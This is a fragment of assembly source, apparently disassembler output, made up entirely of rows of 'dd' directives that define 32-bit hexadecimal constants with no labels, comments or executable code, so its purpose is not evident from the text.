		dd 0A73FC595h, 0B04B4D77h, 2DAC6888h, 5F0021B3h, 0E92A4817h
		dd 0BD1F704Eh, 974FEAF3h, 0DF011281h, 97A43ADCh, 83E2CE4Bh
		dd 0F791FD09h, 0F7AC243Fh, 843AD978h, 0E5B24E1Bh, 0AF488584h
		dd 0B32AA2C9h, 61ABDAD0h, 8AF4F507h, 0AD40B561h, 846253E9h
		dd 7169279Dh, 0BE0F0058h, 6A968C8h, 78626B9Ch, 0C1C11B2Dh
		dd 0EE72A27h, 267010h, 28532DADh, 49685C8Ch, 9D945A81h
		dd 5795CB20h, 0E5DFF88Bh, 64554937h, 0AA0A5F2Dh, 0F8EF2C24h
		dd 0B2BFB44Eh, 0B06592CDh, 2D9B8ABBh, 706EDE56h, 2F559268h
		dd 541EA595h, 155D72B5h, 0F18BA757h, 1D502704h,	6AC2A552h
		dd 8ADD410Fh, 96CA3F82h, 82F56E77h, 0F469EF9h, 125BE2E6h
		dd 77781625h, 0BDB5EA33h, 6AD02DB4h, 2D81F0CEh,	0EF14C52h
		dd 68552C89h, 75490354h, 0A8215A1Ch, 0EA7C10E5h, 0F054AA5Eh
		dd 82471751h, 0B09A8BDh, 34DCAA6Ah, 0C0BE5D12h,	0F1E902DDh
		dd 0A26C529Fh, 19607F72h, 23211C84h, 9808206Eh,	90695B0Fh
		dd 0CC54B59Eh, 0BC2E9CB8h, 568B6EDEh, 9DB7715Fh, 1EF0A47h
		dd 6D0303AEh, 0E7B06A27h, 4E2C6CB1h, 1513B76Fh,	0C9DE84A9h
		dd 0A620DB4Ah, 0DE6D05D8h, 893B4209h, 47405CC1h, 810BD466h
		dd 7EC68FE3h, 0DF873EF2h, 835B9553h, 2008D09Dh,	0BD01685Ah
		dd 0AB34E092h, 0C2812620h, 765C049Eh, 0B8EA0112h, 5D20644Bh
		dd 0ACC68BAh, 0DC2D02B4h, 5D5C59B7h, 0FAC22E1Ch, 246AE487h
		dd 0C2D7287Dh, 0FF09F991h, 99EBC730h, 621559B7h, 0B4019BCDh
		dd 706A59C0h, 363CE9B7h, 89387BB5h, 3C9578Ah, 4A0128BFh
		dd 6034C9FAh, 0EBFC51C4h, 0A567985Eh, 46900FA5h, 2EADCA2Dh
		dd 0A73BDD5Dh, 0CE035452h, 30317FB9h, 0BA53E5E9h, 7F66DDEFh
		dd 778061BDh, 0E97B5E1Dh, 7C02E22h, 30F5F380h, 3326B3DDh
		dd 0DBE02C4Bh, 0F77240AAh, 46DD348h, 0CE62EF1h,	0C52F63F1h
		dd 53C38048h, 80B58C1Bh, 0F03B8634h, 0E1FCF96Bh, 6D232F6Eh
		dd 69DC9FE0h, 97ACA983h, 58E0F00h, 0F68FA0B5h, 7C251592h
		dd 0DE8D174Ch, 0FC7A251Bh, 47BC24E6h, 5A52899Eh, 0C1C125B7h
		dd 232D06E0h, 65CA1042h, 0C42051Dh, 23A46792h, 0D8D7302h
		dd 0E8B7B3E9h, 3657B937h, 0E87C63CCh, 0F505E625h, 7D8302EAh
		dd 16F04D24h, 509ABAE9h, 0E0F10124h, 0F3766403h, 0FF0C4E5Fh
		dd 0E671FE45h, 0B3C986F8h, 0C2B94261h, 2BE75082h, 246F9D7Eh
		dd 0CCEAA933h, 201454DFh, 4E57EF4h, 99636BCh, 23CC14EAh
		dd 0CA76E216h, 6C482511h, 9D539887h, 5390B409h,	22C02A1Dh
		dd 667646BDh, 0E8313E7Bh, 0C8C28D2Dh, 0F83F6CDDh, 0E45B5EAEh
		dd 66B715BCh, 0B5D4FC2Fh, 0F73D36DAh, 12E513C4h, 209FD0EAh
		dd 2F5EE438h, 4C80EF85h, 4C642CB0h, 0A111EF60h,	3F20284h
		dd 5F17654Bh, 184DFF86h, 54913413h, 4070E4D8h, 0EF0CB758h
		dd 192AAB68h, 0E2785E08h, 2EE5D4CEh, 0FF4B27DAh, 0A0BB2625h
		dd 2826E932h, 0A140FDD2h, 0F662F07Ah, 0CC164E0Bh, 644196D1h
		dd 39A1B43Dh, 498D2EC1h, 9485FEE4h, 0B25DE940h,	68E67F32h
		dd 0A2F73127h, 482113Eh, 0DE19058h, 12F3C6Dh, 50F4DEF0h
		dd 0F75EABE9h, 70DD07E4h, 405CBF03h, 17EF659h, 70680D31h
		dd 0CEF3285Ah, 0EBDB938Bh, 4FC0A47Eh, 4F3DF24Bh, 3EA246ABh
		dd 0C01E1676h, 0AF0B03EAh, 2BCF90E5h, 6FA02406h, 75E201A3h
		dd 61475F91h, 2EA665CAh, 17205DE1h, 9391974Ch, 7FFD3852h
		dd 4A75503Bh, 3E90CBF2h, 0CAB7710h, 6D53166h, 0D260EDEAh
		dd 0B22D4FFEh, 0C32884C5h, 0E3849F81h, 0E051DB2Dh, 0C5D2E82Bh
		dd 31A9035Dh, 4E22E982h, 7A5D9CCAh, 0C4E24B5Ah,	0F5E7EF89h
		dd 0F86CD217h, 3D099E85h, 543A22CFh, 0D680097Ah, 2FA85694h
		dd 19C57C92h, 0D0127FE9h, 0C498F2BBh, 82903568h, 973FDBE9h
		dd 5415917Dh, 0BD98EEE8h, 0A0480D51h, 0AD6657C9h, 26C539Dh
		dd 3F580A39h, 21671E1h,	82885D28h, 22F10D1h, 5AE5E0BDh
		dd 0D55042AEh, 0D1494BC4h, 7C3109B4h, 2B511924h, 284AF37Ch
		dd 185BFFB3h, 0EDEB39D0h, 1E832F3Ah, 809964Ah, 68C0F1F4h
		dd 4B6B4BAAh, 0E95FF011h, 0C6FB982Fh, 0DB12201Bh, 836870C2h
		dd 5AC45E3Dh, 2C3B8C1h,	2E93D554h, 7A627809h, 8F528112h
		dd 4B03362Ah, 52D6E3E8h, 0F72F4509h, 39248EDBh,	43B5743h
		dd 0AE8007D6h, 0B85ACDA9h, 63CB4A87h, 0F9CE2192h, 0DAE87ABBh
		dd 0AD7E6884h, 6E221272h, 938537EEh, 125B77B6h,	0AA1E13BFh
		dd 8F41B1DFh, 91686D50h, 0A4E79908h, 487E004Eh,	1EB94026h
		dd 4AEA9F04h, 684D129h,	0BF0214A8h, 5D1244ABh, 4CDFD8Eh
		dd 4C032E0Dh, 90D0B11h,	2523E912h, 3ABE856Ch, 0F2EA3092h
		dd 9EC5F2Bh, 0BFE004F5h, 860F01F6h, 3680270Eh, 882AC480h
		dd 0F7EC58E7h, 37C0672Ch, 0DAE8E904h, 26AD9F91h, 0F8E48D2Fh
		dd 0CCAA35B4h, 0D901327Fh
		dd 43E98BA4h, 0A32D5160h, 7D451F01h, 97EF820Fh,	4EE92F24h
		dd 6E2DB166h, 0AF9211E2h, 0A35A6DCEh, 0CC8AD246h, 6962FB5Ah
		dd 0A013CA8Fh, 0AC51A186h, 550CFA4Dh, 20F7FA47h, 88279C0Eh
		dd 0ACC47DDAh, 0A852159Dh, 858ADA07h, 62DFC342h, 57EE0124h
		dd 0ECCE883Ch, 0A8E91706h, 0E388EA61h, 0E748B7C0h, 2F26333Eh
		dd 20E2CE15h, 92737199h, 1739A9B8h, 58DD8F7h, 583F20h
		dd 0FB53AE05h, 902EE936h, 5BB86CC0h, 0D20F9255h, 0B271534h
		dd 160CAB4Bh, 0B5FB0FA9h, 6B9FBA50h, 0D44AF18Eh, 0C5D562Fh
		dd 2CBD3BAEh, 56387CB5h, 3172E918h, 1D665310h, 246745BBh
		dd 81803BFEh, 0E96FD6CBh, 0D5974E19h, 0A72E6E14h, 0DBC9EF3Dh
		dd 0AAC2C43Fh, 0DD6D7513h, 7C22AE2Ah, 4582A0A4h, 4AAC880Fh
		dd 5471EB79h, 0A978E99h, 0FE22AF5Bh, 0BC8B7D9Eh, 0C436EB02h
		dd 0BCC20682h, 87A37709h, 93F9F8F5h, 4CEFF820h,	0FFB37EE1h
		dd 116C09D3h, 54F51F6h,	0BB4D9F67h, 68E4E84Ch, 13A29F37h
		dd 0EE7D506Fh, 633A5988h, 0CA215A0Bh, 1B61060Eh, 0D8132B45h
		dd 2F042EF2h, 0D0090B6Fh, 0EBC225FAh, 9F1D5791h, 0D234E87Ah
		dd 5A36C40Bh, 2F8BF56Ch, 87425DEAh, 0CC370C74h,	4B7F1FB1h
		dd 7C09B67Fh, 34AF024Ah, 13A9BB68h, 0EBC47F3Dh,	1D334401h
		dd 2F106820h, 0DF127426h, 1DACF46Eh, 8FB5E00h, 44396C35h
		dd 15019F2Ah, 6F0E3068h, 127EA7CCh, 0BB327518h,	0A5536B02h
		dd 0BDB24135h, 18EFCA6Ah, 0EE1759EBh, 426403DDh, 7D8D0F14h
		dd 0D14F22A6h, 35AFFE74h, 7EB01EDh, 2B319F66h, 26F01112h
		dd 2BBE2E10h, 0C9822D2Ch, 0CC0D729h, 0EC0E7434h, 0A3EF817Fh
		dd 47D7C36h, 0AC1B6F0Ch, 2A94BB60h, 0B0C081Ah, 123D3214h
		dd 86897D06h, 64DF8BD8h, 0C9FE740Eh, 38EB7F29h,	79F5F59Ah
		dd 0C9EECB7Fh, 7C135A5Fh, 0D7DED2ACh, 0BCBB574Bh, 401FC964h
		dd 7E2BA4Fh, 8169FC6Fh,	23FA1EAh, 90E43E79h, 9A924AE0h
		dd 0E2A748DFh, 6AC9C250h, 0C51E5D3Ah, 55825EB6h, 7735C268h
		dd 1B90FB4Dh, 92F5EB40h, 0B5CB591h, 18ED79C7h, 4E6CC3E8h
		dd 2EF9F65Dh, 8087E17Eh, 0EE3367CEh, 91063C5Bh,	172AC6B3h
		dd 0D22CF081h, 0ADBDB785h, 30C5023Ah, 0FFA396E6h, 0CCD1B1E1h
		dd 1030E951h, 21C22344h, 6730023Ch, 0BB53F201h,	3DA60888h
		dd 3FF16D83h, 2C41DA29h, 0D25E6C08h, 0EAF87792h, 3A1AF7DFh
		dd 4938E261h, 2DD60FDh,	10F95B4Dh, 0BE01BA35h, 50812D37h
		dd 28A83F21h, 8862E889h, 9EBEE760h, 17D9041Fh, 0F7F3B209h
		dd 68122B94h, 0DE327E96h, 5BF37E51h, 337F3782h,	0CB02D2F4h
		dd 2275F92Fh, 0C1C5D13Bh, 85219755h, 0C404AF53h, 59ECC7C6h
		dd 4903D902h, 1E55846h,	0D05D518Bh, 433220A3h, 0DF509Dh
		dd 0AB6A3105h, 0B3532D3Eh, 749CFE2Fh, 0D9E0975h, 86762848h
		dd 0B09B3027h, 80CCFD07h, 0A113BD55h, 0AA00A310h, 96706CEDh
		dd 310CC134h, 6ADF0CA0h, 0EC88EEC4h, 85C86417h,	0F98881E7h
		dd 42EB0550h, 594468EDh, 852C1875h, 8732CCFDh, 0BF41F5C4h
		dd 0AF6CD52Fh, 0B62773F1h, 54024C7Eh, 1B1D83B5h, 7EEEDB03h
		dd 42E500Fh, 0DD74430Ch, 72F4BE51h, 5E1DA283h, 78051178h
		dd 201921C5h, 0AEF5E5ACh, 256EF808h, 2973FDF0h,	6800567Ch
		dd 5D02387Fh, 1740D58h,	0F1EB913h, 3F6A4181h, 405484Bh
		dd 0B50E6069h, 0FFDC57CBh, 57D28B59h, 0E9259396h, 5D824059h
		dd 0CAC25829h, 9CFDCB27h, 8E1B951h, 5B3B12CCh, 3384B5B8h
		dd 0EE411221h, 13C37E99h, 12DAAC30h, 14EE866h, 0D454E501h
		dd 89F1601Eh, 0CA2D0B13h, 43D9208h, 0FA5BF888h,	93F580B5h
		dd 88EE54D2h, 591F49CCh, 5A024D0Bh, 7ECAA07Bh, 800F80C7h
		dd 2A297827h, 36135193h, 7475D122h, 0A7E253Ah, 2CE91254h
		dd 0F31F4E44h, 0C770C1EBh, 65BC0EB7h, 0FE817520h, 0A36AADFEh
		dd 0E68C271h, 0E5C49B44h, 209FB904h, 0CFFE5C00h, 544B7868h
		dd 0E6B68230h, 0E9F11688h, 0B94CF097h, 22031614h, 0FECA31D2h
		dd 0E3A858FCh, 572D2039h, 17DA2503h, 0D0407FD6h, 7F73554Dh
		dd 5723093Ah, 0F8F83D4Ch, 5B9FCFE6h, 0FCCA1277h, 2BFE4FC0h
		dd 0D9A35EEDh, 25FC68C2h, 69CCB754h, 0A64A55E9h, 68CB7Bh
		dd 30EFB450h, 5BE958E1h, 0D052B842h, 9A553DE1h,	77402722h
		dd 8472ED5Ch, 0CD82CA2Dh, 0E9B4E020h, 48D8AADCh, 8082A953h
		dd 0DB3A6866h, 0F589274Dh, 5C986D18h, 5EF763C0h, 542BFA0Eh
		dd 5A93B097h, 7E40F3B5h, 0F58A2D5Bh, 8E055816h,	5AD015B3h
		dd 0B7E90995h, 9F0AF6CDh, 93FB27CBh, 0CB3DCAACh, 0BCB9B8Ch
		dd 5845D828h, 2E202AFAh, 0FAF94C4h, 6FA0624Eh, 83C58C0Fh
		dd 5EEFE980h, 8885F664h, 460F0C2Ch, 345FD12Fh, 129FBBE2h
		dd 1D6F5C44h, 0C053D3C5h, 72866804h, 5BF34DB9h,	1798FC87h
		dd 0CFB5418Eh, 97FB58E2h, 0F1024C53h, 429E0620h, 54FA4256h
		dd 5E845B21h, 971CD02Dh, 0E04AF612h, 8DFA2A1Bh,	732F8FDCh
		dd 4C94BE8Bh, 29FFDDDh,	99E340Bh, 0C9D968FDh, 7A513F20h
		dd 7437F686h, 0EE06A2E1h, 0BECEE8FBh, 4A8B09ECh, 15A31969h
		dd 9B600210h, 53F6EB45h, 0C2714B2Eh, 885C344h, 0E98F605Eh
		dd 6EBF0A47h, 51A79CAFh, 0AC2F2050h, 29051073h,	0BC331BB8h
		dd 56091C85h, 0F24E10E8h, 2268125Eh, 72F18C0Fh,	2EFF5EB8h
		dd 0D629C581h, 5F20E66Bh, 0DF125ACh, 4B5221Dh, 653369DEh
		dd 6386C180h, 3F92BC7Bh, 2A6CF00Bh, 0AA283E54h,	77EEB345h
		dd 590D0D79h, 0BF449C5Fh, 88D6FAF8h, 0F8925FF2h, 0C3CF665Bh
		dd 27C06809h, 7B207966h, 20239049h, 59974C6Bh, 0CE571ED9h
		dd 0FE128AD0h, 9B43D2CDh, 7C19FE4Ch, 1702F2EDh,	0E6E9010Ah
		dd 3BFF784Fh, 0DADF4312h, 0AFE81A2Eh, 0C7E9A2F6h, 8FE98BB9h
		dd 0C3976E7Ch, 0D5E4EC09h, 89F9F9ECh, 575420D8h, 0B1A0C90h
		dd 7F75B424h, 0FCBCD713h, 5997A64Ah, 0CE98275h,	0D1675D31h
		dd 1851263Fh, 782C6884h, 0C15D37AEh, 2E133A43h,	69F7AF2Ch
		dd 425D1F60h, 13D07713h, 0A5E925h, 0E268524Ah, 176C1602h
		dd 0AB5005Ah, 0F796520h, 0EA3B822Eh, 8741E0A7h,	8AE24075h
		dd 895AE00Bh, 0DC65DF8h, 381B24h, 0D6516389h, 45A0566Eh
		dd 0B880FABEh, 236F1214h, 7A2026Ah, 0B8FE4B3Dh,	27657708h
		dd 0B7F8185Fh, 0FF16D623h, 0FC14498Eh, 3D7E2C41h, 0C9126B7Dh
		dd 5FADB633h, 0C64432EBh, 0D09C3A9h, 0BC11D12h,	819A7879h
		dd 447C2E2Dh, 0B0EBAC7Bh, 761B6B39h, 0C6329D0Fh, 0D3B77872h
		dd 0F452CB0Fh, 73E4819Dh, 0C8528F4h, 0C12D4388h, 3F301793h
		dd 2F70A5D7h, 0B77DCD3Fh, 8815172h, 2C78F952h, 0B1510185h
		dd 0A3E180B0h, 1760C1CDh, 445BC95h, 0FF405F5Ah,	5FAC4012h
		dd 4FB90E9Eh, 0C99EBF16h, 7FF5E909h, 41932068h,	0E06AE027h
		dd 4FC145F6h, 0E2CB80EDh, 95151FBh, 56F86BABh, 9D02C24Ah
		dd 0E649C8A6h, 27137601h, 4D8E0F30h, 0E9125D6Ch, 4F51E864h
		dd 0AA4AB4E8h, 9F1D993Ch, 6D25EAF2h, 0BF507978h, 5D408912h
		dd 127D8EAFh, 33A3AF13h, 34502889h, 4203539Dh, 0A7CCB951h
		dd 1077A0Bh, 1028DD3Bh,	947F2F08h, 0BF570465h, 90D412CEh
		dd 9B2611D1h, 0EF031676h, 25FE1F8Bh, 771EAAE9h,	8429A4A2h
		dd 951CCEDDh, 12749CD5h, 0AA72A3E9h, 702C2DB4h,	4EC48421h
		dd 0B803A9EEh, 3F800D71h, 701E8C1h, 4191BE56h, 288E1EB3h
		dd 0BE133AC7h, 3DD679A7h, 273F4126h, 823E577Dh,	1C42D23h
		dd 746DD025h, 0F0DF7235h
		dd 11430BBAh, 935E16FBh, 0E662756Bh, 38FC98DFh,	0C3DBA0C1h
		dd 0A240831Ah, 6F2678B2h, 8B397CC7h, 82E20963h,	0FD8859EAh
		dd 28D161A0h, 4B1A0F15h, 7507D3F7h, 7097563h, 56B0D8E9h
		dd 522762CCh, 4E1CBC0Ah, 1AB2617h, 0FE8A9D75h, 0F0EB148Bh
		dd 48B2D5CEh, 9B305E76h, 0F473AD8h, 37CA2F8Fh, 8568636Ah
		dd 544EA668h, 0CD2C7021h, 49E9F774h, 5C2C842Dh,	0FC303C9h
		dd 68B1C0B7h, 5E6720B2h, 0BA016CBEh, 1E136ABDh,	0B54E1A20h
		dd 0F0904896h, 180A267Ah, 95DA015Fh, 0E91F050Eh, 0B204FD2Fh
		dd 0DDE5804Fh, 42072422h, 6E94CD81h, 0F587067Fh, 52E43870h
		dd 0C7EEE95Eh, 0DF095FACh, 1A24F6DBh, 0C55475C0h, 442CC976h
		dd 972D99DDh, 0E321133Bh, 8AB392D0h, 0B1A4E9C5h, 81563EB6h
		dd 48484EBh, 0A42F70BFh, 4F39C2C3h, 0C338AE20h,	7424468Bh
		dd 0AF54E43Eh, 6809F4BDh, 5AF93893h, 6064D380h,	5EDCE929h
		dd 9459B842h, 0FAC40380h, 0C268845Dh, 0FAE7EC2Ch, 297A2F2Ah
		dd 2DD8E8C8h, 7B750AA2h, 0EF5E0DE1h, 0B9856058h, 0FD975D76h
		dd 6F27481Ch, 8C859A76h, 1CB71043h, 5628B004h, 0F1AB04F8h
		dd 67614F9h, 171B31C7h,	810802B6h, 0CE0F0DCBh, 6E563FDh
		dd 0AD2B0EC6h, 5D95A6D3h, 31BD9B20h, 76B06A34h,	0D30F530h
		dd 0C0A1F4E9h, 2BE83520h, 0BB71C7Eh, 2F00F722h,	0EBD3CE16h
		dd 7D25A4BCh, 534FFD94h, 0E99898AAh, 0F17E85Ah,	0D6C403FDh
		dd 0BE0C1618h, 170F0DD0h, 0CAF3EB8Dh, 18C04A15h, 301FD0B9h
		dd 17902CA7h, 6E482735h, 41060F43h, 0D8E8D7F0h,	621916h
		dd 5698F1B6h, 0DF92AB23h, 0EFD14703h, 170D8068h, 0EE4B639Fh
		dd 0CC4EFB8Bh, 7A25E934h, 40BEB47Bh, 492D6883h,	526ADC45h
		dd 7A8D154h, 0B00C9D3h,	531910AFh, 0C7429D29h, 0C8D6080Bh
		dd 0BA7C7107h, 0A39768FBh, 0E3CBBF0Ah, 263225B9h, 1BD10449h
		dd 0C7EA656Ch, 0C39FB2B1h, 9561BCFFh, 1015652h,	0E9D918DCh
		dd 38348534h, 2B6216CDh, 9D88A82Ch, 69E68944h, 2B6ECBFh
		dd 33F3B7EBh, 0AE3B10C0h, 16ABDD95h, 0D7DCE1B0h, 745EC092h
		dd 79C81291h, 0CBC2219Dh, 0C1264873h, 0CF586C89h, 3D3E2669h
		dd 95966863h, 6AC440ACh, 0C4D6E808h, 86C80C32h,	1E05E250h
		dd 39C2292Bh, 2B680850h, 9D7346h, 36F423D8h, 7794FA01h
		dd 0AAA08596h, 0C75295BBh, 0DC7E0798h, 0F7433A00h, 66DE35D8h
		dd 0E9260922h, 62A26BB1h, 0AB772DE8h, 0CCC6D582h, 370765BDh
		dd 0FD828B6Dh, 0B6E4FB90h, 80666B0Bh, 56CA6273h, 0BD13A03h
		dd 0FBE0C82h, 535104D6h, 0D0B0E942h, 0F7EF972Ah, 0F42DC42Bh
		dd 0CEC2605h, 0EF3D286Bh, 3D052739h, 0C2FDAF08h, 0BAD1C34Eh
		dd 31206874h, 0BE584BC5h, 0B488E480h, 4C9095F1h, 0E980D91Ah
		dd 0E6524A54h, 799B1404h, 64658459h, 68A470BFh,	339C6C4Eh
		dd 67908463h, 9287BC49h, 0E37416B7h, 0D006ABADh, 9F1FFCF9h
		dd 49C48148h, 121C643Eh, 0CDA4E5A5h, 224800F9h,	78E7053Ah
		dd 0E92535EFh, 0ECAD6212h, 0D5C70502h, 14C8234h, 0B02D7A8Bh
		dd 0A0263119h, 54C0081Ch, 77DE3CFAh, 376C0335h,	7E0D40F9h
		dd 3F464391h, 5542511Fh, 0D79541CBh, 2F596861h,	5FBA60EEh
		dd 7C59D468h, 81488403h, 14AC5898h, 0F607B064h,	0BB565527h
		dd 19780259h, 6B21358Bh, 6B5BDE29h, 7BC2F0C1h, 4A5B7DC2h
		dd 0D0EF880Bh, 0C05914CEh, 0AC10FEE4h, 7A5D24A9h, 0B4C10534h
		dd 0BB0557B6h, 97AEC694h, 0A12BD56Bh, 3AFAD533h, 9FB5117h
		dd 0F2D5253Dh, 49C50969h, 6E120186h, 5BF20809h,	5F924534h
		dd 3AE0E805h, 6FF7CC20h, 0F950C5BEh, 852F4BAh, 592011B0h
		dd 54585846h, 86F1682Dh, 0EBF414B7h, 0EC8AF12h,	93B0A155h
		dd 87E18A7h, 0A95E3F42h, 0E672DDA7h, 87BA4B4Ah,	0FA6851DAh
		dd 4622326h, 0ADE961B1h, 0EFF712BAh, 0E912F39Ah, 5F5406Fh
		dd 5C895B45h, 7831FBAh,	9AF4AFE5h, 3C9BBC9Fh, 809D0EF4h
		dd 0C46E8ECCh, 0E9E528C1h, 5FF23468h, 0D490F1B8h, 0B612C773h
		dd 0E0FF38F8h, 0A65F2247h, 0F38C54BBh, 1DB54010h, 64CB515Dh
		dd 0E1D1A050h, 96557268h, 0A565C869h, 201A9655h, 0BA90209Eh
		dd 117C99Dh, 50FA66DAh,	0A157A058h, 0B6C3F19Eh,	2EE9EA10h
		dd 44B9308Ah, 36470104h, 0F2F94EF7h, 96859A7h, 395E5605h
		dd 0A9003DACh, 0E9764661h, 1BBAE18Eh, 89658210h, 9E212F7Bh
		dd 75529BD6h, 2B6F1ED2h, 0EE8180F5h, 12574741h,	10FE0111h
		dd 0C64808A5h, 240F705h, 80AC52h, 0DC58145h, 9057C26Eh
		dd 0E7D29748h, 0E9CE010Bh, 258C609h, 0D6505EB8h, 6441296Bh
		dd 78802EB3h, 950F1268h, 59A19F18h, 28025582h, 23A4E882h
		dd 4DF9BB54h, 3EE3FBB5h, 0FB5E9F49h, 0CC3A5C29h, 0F126F69Eh
		dd 0CC12FC66h, 61BB9585h, 742CE407h, 5271D04h, 25D5620h
		dd 9FE3991Bh, 0ECE901E0h, 2EA4654Fh, 163792DFh,	80EE215Bh
		dd 0C1599EDFh, 0DE011725h, 0E904B1A7h, 80146411h, 8984CD39h
		dd 0FD5085F5h, 1A5A7016h, 63080D0Bh, 720F926Bh,	3A5125F4h
		dd 5E50C0C6h, 2F039FD7h, 0E9813423h, 0B241CB7Eh, 819F7829h
		dd 1F95D08h, 88123C6Ch,	0ED7EAC6h, 80D4C0C5h, 5016E3EEh
		dd 79413CA3h, 4907EE2Bh, 7F0B0B1Ch, 0CBEC2CE6h,	0A7517901h
		dd 0EA8C0F3Dh, 433BD678h, 0E8778E8Ah, 5827097Ch, 0CBC293DEh
		dd 9CF60912h, 80D44AC7h, 0F6AB02D4h, 6434CB16h,	20E02F6Ah
		dd 66DF419Ah, 131D25B3h, 0D400C892h, 164512D8h,	6B34B48h
		dd 7578428Ch, 5E03A2B2h, 0E79039h, 21EABE56h, 481769Dh
		dd 0D2778CCEh, 0B625BF31h, 0ED3C01A1h, 570A9F72h, 2996A2Eh
		dd 3B586AF8h, 1FC7CA80h, 0D11671C9h, 0DE2141E9h, 0A7741062h
		dd 55C8F8F3h, 24896754h, 0B296530Ah, 68BA5203h,	0CC460F49h
		dd 0A153B8EFh, 0C3354C29h, 40E30730h, 0F134BB7h, 24523E8Ah
		dd 93C6C2A9h, 0CF5BC55Eh, 7C100BBEh, 0A1FC68DDh, 41223256h
		dd 0A2DF6A2Ch, 0E6DBF7BBh, 0C6892469h, 7A431F92h, 0FDDD2BB2h
		dd 93EE340h, 3A14F32Ch,	705F9B17h, 7C33E207h, 188B7759h
		dd 902641DCh, 0B335123Fh, 0CE9F480Ah, 0D7EF8389h, 116BC1D9h
		dd 0F9C07617h, 0E7810572h, 0E8E937B9h, 1B981672h, 0DBC028BFh
		dd 1ADD615Ah, 0B152AE3Bh, 0FD8AC2BFh, 266624C0h, 0CB6576BFh
		dd 507F25F0h, 24DF9449h, 0AC24FC4Eh, 2AE23203h,	0E3515FCDh
		dd 5BDFC4E7h, 0E90955A3h, 1CFDAEC7h, 69681293h,	1E4FA358h
		dd 2DEE1DFDh, 7E9E802h,	0F65C4482h, 980A7546h, 507C75F9h
		dd 4112BBAEh, 6E602524h, 0BF4BADCEh, 4A56693Ch,	74E0DD55h
		dd 53439360h, 46E55873h, 2D231A0Bh, 8D6D82Ah, 5E173ED3h
		dd 684488FBh, 0D1BE11EAh, 204E26Eh, 1EA17F27h, 885F1007h
		dd 9EC46C2h, 1A5D4B43h,	9FAA6BE4h, 0ED800294h, 30D4D34h
		dd 0E9DE2905h, 260139E7h, 2058FDBBh, 0EB30316Ch, 25CB5A4Ah
		dd 0FDAA012Fh, 400FD75Eh, 28A10783h, 0D339F07Fh, 0C0D8AF5Ah
		dd 2C19266Ch, 247456CDh, 5F0820BEh, 9C4CF58h, 0DBDBEDE9h
		dd 2E2A497h, 117E6C2Ah,	43296175h, 0E307633Ch, 2C0464E7h
		dd 0FB5E9FCCh, 91ED2FD4h, 59E5EB02h, 6AFD6C2Fh,	5E08052Ch
		dd 0A85F34A3h, 0B4384CEFh, 35045413h, 0F7D210F5h, 9CC5DF7h
		dd 8415F39Fh, 0FA92B0E9h, 0D8D2F4A6h, 0C448EC85h, 5059C01Ah
		dd 0BE401168h, 0E95541A0h, 4B006F8Bh, 0C5E6EB9h, 28B4A07Bh
		dd 0C2680408h, 0BDC678E9h, 41E739BBh, 5694CA42h, 657D25AAh
		dd 5C21A77Ch, 230EFE9h
		dd 46E4FF5Eh, 474BE1F6h, 1872D661h, 42708C6Eh, 9CE2AB5Ah
		dd 33D6FE27h, 7DE03E13h, 69482568h, 5D130545h, 0C1DBFD0Fh
		dd 0D1F711F1h, 0D0D6F56Bh, 472FC5ACh, 0F80754FCh, 0F7820FC0h
		dd 0C2DFA0A9h, 0FBE640E7h, 7D7C821Ch, 9F76E970h, 17682075h
		dd 7572D746h, 41391305h, 12DB8464h, 85F00C07h, 0DF02C12Fh
		dd 294FED7Fh, 7D1CE1F9h, 68EBD100h, 0D20AE224h,	0DC3775C0h
		dd 6C40BD15h, 0B8005051h, 368401CAh, 30C2225h, 830F2BF0h
		dd 624A7C56h, 8DAA62BBh, 80167CD0h, 0E821A4C3h,	0A3042E21h
		dd 308B44EDh, 0D2C410BDh, 0B7488215h, 52168DCEh, 65F103EBh
		dd 0AA54133Ah, 0A94AD6CEh, 0C573D59Eh, 85A65AD6h, 3B179810h
		dd 8B3D2F53h, 9DED9AAh,	94FFA3B0h, 0AAE92450h, 6BF0ADABh
		dd 3FEFC276h, 0EB4A7ECEh, 4444D324h, 0FCFA5BDAh, 8FB8A595h
		dd 16FA139Eh, 0C82805E3h, 0D9BBB42Ch, 0E1DC7754h, 4234B3A1h
		dd 57020459h, 0E2A9D4EAh, 41D44DE9h, 2DEA0916h,	0D274209Ah
		dd 89A8F617h, 45CD308h,	0CC5FB168h, 2BE1BB2Bh, 0BA937DF6h
		dd 57165652h, 0E91209EDh, 0BD5740DEh, 0DDC6672h, 0AF4DB4F4h
		dd 0B3F55B79h, 93F5E22Eh, 3FD77DFBh, 0E90CAACEh, 59520EFCh
		dd 54D969Fh, 0DA6BC3BDh, 5DA38026h, 150D592Ah, 365ADDE9h
		dd 4E28F26Bh, 13668EBEh, 2B520DE3h, 559920AFh, 0F62EC4FEh
		dd 4F0846DCh, 0D40B3C05h, 52F85FE9h, 2E7C002h, 41AFF780h
		dd 0E054FF2h, 0C369597Ah, 8C40D175h, 0D04543BEh, 8B8D243Fh
		dd 57A08088h, 8A758014h, 985C30F1h, 0FC330997h,	15B7C275h
		dd 0A66F1C11h, 43F25E9Ah, 7103E982h, 3F88755Eh,	885C1747h
		dd 4E5E5FEBh, 0DCE91C61h, 775AE37Ch, 0EDE0D20Bh, 0D461746Ah
		dd 25A3CF5h, 5A66D028h,	63EFE53h, 12D78844h, 0D6730098h
		dd 0ACDBC724h, 0CD3F5119h, 0AC3A3871h, 0DBF05A98h, 3B9F9859h
		dd 977055E9h, 0BDC2A7DCh, 43B455E1h, 97BDA97h, 0C04B30D3h
		dd 0F4310AF4h, 0D53AD610h, 421587A2h, 9852CEFh,	3A08E122h
		dd 7BAF3DABh, 0FD396AFDh, 459EA13h, 0AAA2D311h,	0D0A1BCBCh
		dd 0D61E0530h, 5E7E5D41h, 3FF1860Fh, 4AB29124h,	0DAD8BF5Ch
		dd 24F709EDh, 435A7C73h, 6C300883h, 7F685534h, 86C69722h
		dd 4E0962F2h, 7D5A163Eh, 35C0E480h, 69981236h, 5FE1DD27h
		dd 1CB4D596h, 5D4F4704h, 73D8E01h, 0E1D46B0Bh, 71100812h
		dd 8FE90914h, 6BE7DC30h, 342FC77Fh, 0B98BFE6Ah,	5F92111h
		dd 5EB46856h, 0C17AC68Bh, 902B2A32h, 269C9808h,	5B33E90Dh
		dd 0E8C7D14Ch, 42AE3A5Dh, 436B68E3h, 649C1864h,	57495F1Fh
		dd 79F524h, 77E64389h, 0E7F638ECh, 20E4164Bh, 5E0B40DBh
		dd 9449F7F8h, 0F8EB1215h, 0A7F3E956h, 0CD66E90Bh, 7F8FC67Fh
